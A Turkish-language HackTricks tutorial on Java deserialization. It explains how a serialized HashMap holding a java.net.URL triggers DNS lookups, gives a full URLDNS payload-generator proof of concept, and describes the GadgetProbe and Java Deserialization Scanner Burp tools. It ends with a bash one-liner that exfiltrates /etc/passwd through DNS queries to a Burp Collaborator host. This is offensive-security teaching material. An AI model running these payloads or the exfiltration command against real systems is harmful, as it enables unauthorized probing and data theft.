Java DNS Deserialization, GadgetProbe ve Java Deserialization Scanner

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Deserialization'da DNS isteği

java.net.URL sınıfı Serializable'ı uygular, bu da bu sınıfın serileştirilebileceği anlamına gelir.

java
public final class URL implements java.io.Serializable {

Bu sınıfın meraklı bir davranışı var. Belgelerden: “İki ana bilgisayar, her iki ana bilgisayar adı da aynı IP adreslerine çözümlenebiliyorsa eşdeğer kabul edilir.”
Bu nedenle, bir URL nesnesi equals veya hashCode fonksiyonlarından herhangi birini çağırdığında, IP adresini almak için bir DNS isteği gönderilecektir.

hashCode fonksiyonunu bir URL nesnesinden çağırmak oldukça kolaydır, bu nesneyi deseralize edilecek bir HashMap içine yerleştirmek yeterlidir. Bunun nedeni, HashMap'teki readObject fonksiyonunun sonunda bu kodun çalıştırılmasıdır:

java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

putVal'i HashMap içindeki her değerle çalıştıracak. Ancak, daha önemli olan her değerle hash çağrısıdır. İşte hash fonksiyonunun kodu:

java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Gözlemleyebileceğiniz gibi, deserialization sırasında bir HashMap için hash fonksiyonu her nesne ile birlikte çalıştırılacak ve hash çalıştırılması sırasında nesnenin .hashCode() metodu çalıştırılacak. Bu nedenle, eğer bir URL nesnesi içeren bir HashMap deserialization ederseniz, URL nesnesi .hashCode() metodunu çalıştıracaktır.

Şimdi URLObject.hashCode() koduna bir göz atalım:

java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Gördüğünüz gibi, bir URLObject .hashCode() çalıştırdığında hashCode(this) olarak adlandırılır. Devamında bu fonksiyonun kodunu görebilirsiniz:

java
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

getHostAddress'in domaine uygulandığını görebilirsiniz, bir DNS sorgusu başlatıyor.

Bu nedenle, bu sınıf istismar edilebilir ve deserialization'ın mümkün olduğunu göstermek için bir DNS sorgusu başlatmak veya hatta bilgi sızdırmak için kullanılabilir (bir komut yürütme çıktısını alt alan adı olarak ekleyebilirsiniz).

URLDNS yük kodu örneği

URDNS yük kodunu ysoserial'den burada bulabilirsiniz. Ancak, kodlamayı anlamayı kolaylaştırmak için kendi PoC'mi oluşturdum (ysoserial'den alınan birine dayalı):

java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Daha fazla bilgi

GadgetProbe

GadgetProbe Burp Suite Uygulama Mağazası'ndan (Extender) indirilebilir.

GadgetProbe, sunucunun Java sınıfında bazı Java sınıflarının var olup olmadığını anlamaya çalışacak, böylece eğer bilinen bir istismara duyarlı olup olmadığını bilebilirsiniz.

Nasıl çalışır

GadgetProbe, önceki bölümün aynı DNS yükünü kullanacak, ancak DNS sorgusunu çalıştırmadan önce rastgele bir sınıfı deseralize etmeye çalışacak. Eğer rastgele sınıf mevcutsa, DNS sorgusu gönderilecek ve GadgetProbe bu sınıfın var olduğunu not edecektir. Eğer DNS isteği asla gönderilmezse, bu, rastgele sınıfın başarıyla deseralize edilmediği anlamına gelir, yani ya mevcut değildir ya da serileştirilebilir/istismar edilebilir değildir.

GitHub içinde, GadgetProbe bazı kelime listelerine sahiptir ve Java sınıflarının test edilmesi için kullanılabilir.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Daha Fazla Bilgi

Java Deserialization Scanner

Bu tarayıcı Burp Uygulama Mağazası'ndan (Extender) indirilebilir.
Eklenti, pasif ve aktif yeteneklere sahiptir.

Pasif

Varsayılan olarak, Java serileştirilmiş sihirli baytları arayarak gönderilen tüm istekleri ve yanıtları pasif olarak kontrol eder ve herhangi bir bulursa bir güvenlik açığı uyarısı sunar:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Aktif

Manuel Test

Bir isteği seçebilir, sağ tıklayıp DS'ye istek gönder - Manuel Test seçeneğini tıklayabilirsiniz.
Ardından, Deserialization Scanner Sekmesi --> Manuel test sekmesi içinde ekleme noktasını seçebilirsiniz. Ve testi başlatın (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Bu "Manuel test" olarak adlandırılsa da, oldukça otomatikleştirilmiştir. Deserialization'ın herhangi bir ysoserial yüküne duyarlı olup olmadığını kontrol edecek ve web sunucusunda mevcut olan kütüphaneleri kontrol ederek duyarlı olanları vurgulayacaktır. Duyarlı kütüphaneleri kontrol etmek için Java Sleeps, CPU tüketimi ile uyku veya daha önce bahsedildiği gibi DNS kullanarak başlatmayı seçebilirsiniz.

İstismar

Duyarlı bir kütüphane belirledikten sonra isteği İstismar Sekmesine gönderebilirsiniz.
Bu sekmede, enjekte etme noktasını tekrar seçmeniz, oluşturmak istediğiniz duyarlı kütüphaneyi ve komutu yazmanız gerekir. Ardından, uygun Saldırı butonuna basın.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java Deserialization DNS Exfil bilgileri

Yükünüzü aşağıdakine benzer bir şey çalıştıracak şekilde yapın:

bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Daha Fazla Bilgi

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin